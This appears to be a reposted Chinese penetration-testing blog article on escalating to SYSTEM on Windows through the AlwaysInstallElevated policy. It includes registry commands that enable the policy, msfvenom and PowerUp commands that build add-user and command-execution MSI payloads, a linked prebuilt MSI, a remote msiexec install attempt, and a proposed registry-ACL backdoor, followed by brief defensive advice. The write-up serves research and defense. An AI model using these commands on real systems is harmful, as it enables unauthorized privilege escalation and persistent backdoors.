利用 AlwaysInstallElevated 提权的测试分析

发布于 2024-09-12 14:53:47 字数 7014 浏览 10 评论 0

0x00 前言

利用 AlwaysInstallElevated 提权是一个 2017 年公开的技术,Metasploit 和 PowerUp 都提供了利用方法,我在研究的过程中,发现 Metasploit 的利用方法存在一些不足,我遇到了和其他公开文章描述不一样的情况,于是我做了进一步的研究,本文将要介绍我遇到的问题和解决方法

0x01 简介

本文将要介绍以下内容:

  • 常规利用方法
  • 我在测试中遇到的问题
  • 解决方法
  • 扩展利用思路

0x02 常规利用方法

AlwaysInstallElevated 是一个组策略配置,如果启用,那么将允许普通用户以 SYSTEM 权限运行安装文件(msi)

启用方法:

需要修改以下两个组策略:

  • Computer Configuration\Administrative Templates\Windows Components\Windows Installer
  • User Configuration\Administrative Templates\Windows Components\Windows Installer

设置成 Enabled,如下图

Alt text

注:无法通过 secedit.exe 在命令行下修改以上两个组策略

命令行下的启用方法:

创建以下两个注册表项:

  • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer,AlwaysInstallElevated,1
  • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer,AlwaysInstallElevated,1

cmd 的命令如下:

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

利用方法:

启用 AlwaysInstallElevated 后,可以通过命令行调用 msiexec 安装 msi 文件,msi 文件内包含要执行的 Payload,Payload 将会以 System 权限执行

调用 msiexec 的命令如下:

msiexec /q /i test.msi
  • /i 参数用来表示安装操作
  • /q 参数用来隐藏安装界面

注:执行后会在%TEMP%下生成 MSI 的 log 文件

更多关于 msiexec 的介绍可参考之前的文章 《渗透测试中的 msiexec》

0x03 开源方法测试

在测试环境启用 AlwaysInstallElevated,命令如下:

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

1.PowerUp

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

(1) 测试是否启用 AlwaysInstallElevated

Import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated

返回 True 代表开启

(2) 导出 msi 文件

Import-Module .\PowerUp.ps1
Write-UserAddMSI

当前目录生成 UserAdd.msi

(3) 命令行执行(当前用户权限)

msiexec /q /i UserAdd.msi

弹出添加用户的对话框,能够用来添加用户,如下图

Alt text

此时查看该对话框的权限为 System,如下图

Alt text

提权成功

2.Metasploit

生成弹出计算器的 msi 文件,命令如下:

msfvenom -p windows/exec CMD=calc.exe -f msi >calc.msi

命令行执行 msi 文件(当前用户权限):

msiexec /q /i calc.msi

弹出的计算器权限为 Medium,如下图

Alt text

这与 PowerUp 的结果不同

换成其他 Payload 的 msi 文件,例如添加用户:

msfvenom -p windows/adduser USER=test PASS=12356QW!@ -f msi >adduser.msi

例如执行 cmd 命令:

msfvenom -p windows/x64/exec CMD='whoami >1.txt' -f msi > cmd.msi

由于权限不够(为 Medium),均失败

这与其他公开文章介绍的情况不一样

个人猜测:

使用 Metasploit 生成的 msi 文件在运行时没有要求提升权限,所以导致了这个问题

0x04 解决方法

这里可以参考 PowerUp 的方式生成 msi 文件,直接执行 PowerUp 生成的 UserAdd.msi,如下图

Alt text

提示 msi 文件是由 MSI Wrapper 生成

下面我们就尝试使用 MSI Wrapper 生成一个可用的 Payload

下载地址:https://www.exemsi.com/download/

生成过程如下:

1.将 Payload 设置为执行 ProcessHacker

配置如下图

Alt text

2.运行时要求提升权限

配置如下图

Alt text

注:MSI installation context 下选择 Per User 和 Per Machine 都可以

其他配置按照默认设置,生成的 msi 文件已上传至 github,地址如下:

https://github.com/3gstudent/test/blob/master/RunProcessHacker.msi

再次测试,命令行执行 msi 文件(当前用户权限):

msiexec /q /i RunProcessHacker.msi

ProcessHacker 以 System 权限执行,利用成功,如下图

Alt text

综合以上的测试,我们可以得出结论:

使用 Metasploit 生成的 msi 文件在运行时没有要求提升权限,所以无法利用 AlwaysInstallElevated 提权

我们可以使用 MSI Wrapper 生成可供利用的 msi 文件

0x05 扩展利用思路

通常情况下,先对注册表项进行判断,如果满足条件(存在两个注册表项),就可以利用 AlwaysInstallElevated 提权

扩展思路 1:

如果获得了 Backup service 用户的权限,输入 whoami /priv 后,发现存在以下权限:

  • SeRestorePrivilege
  • SeTakeOwnershipPrivilege

此时能够对注册表进行写操作,可以创建对应的注册表项,再利用 AlwaysInstallElevated 提权

利用 SeRestorePrivilege 和 SeTakeOwnershipPrivilege 写注册表可参考之前的文章: 《渗透技巧——Windows 九种权限的利用》

扩展思路 2:

如果已获得系统权限,可以创建一个提权后门

对以下注册表项添加 ACL,允许 Everyone 进行写操作:

  • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
  • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

对注册表项添加 ACL 的方法可参考之前的文章: 《渗透技巧——Windows 下的 Access Control List》

扩展思路 3:

msiexec 支持远程下载执行,那么能否利用 AlwaysInstallElevated 提权?

测试命令如下:

msiexec /q /i ..//test/master/RunProcessHacker.msi

执行失败

下面查找原因,显示安装过程,测试命令如下:

msiexec /i ..//test/master/RunProcessHacker.msi

提示来源不可信,如下图

Alt text

得出结论:

msi 文件需要可信的证书才能远程利用 AlwaysInstallElevated 提权

0x06 防御建议

如果没有特殊需求,禁用 AlwaysInstallElevated

监控注册表项:

  • HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
  • HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

0x07 小结

本文介绍了利用 AlwaysInstallElevated 提权的方法,找到了使用 Metasploit 生成的 msi 文件利用失败的原因,最后介绍了如何通过 MSI Wrapper 生成可供利用的 msi 文件。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

0 文章
0 评论
22 人气
更多

推荐作者

lee_heart

文章 0 评论 0

往事如风

文章 0 评论 0

春风十里

文章 0 评论 0

纸短情长

文章 0 评论 0

qq_pdEUFz

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文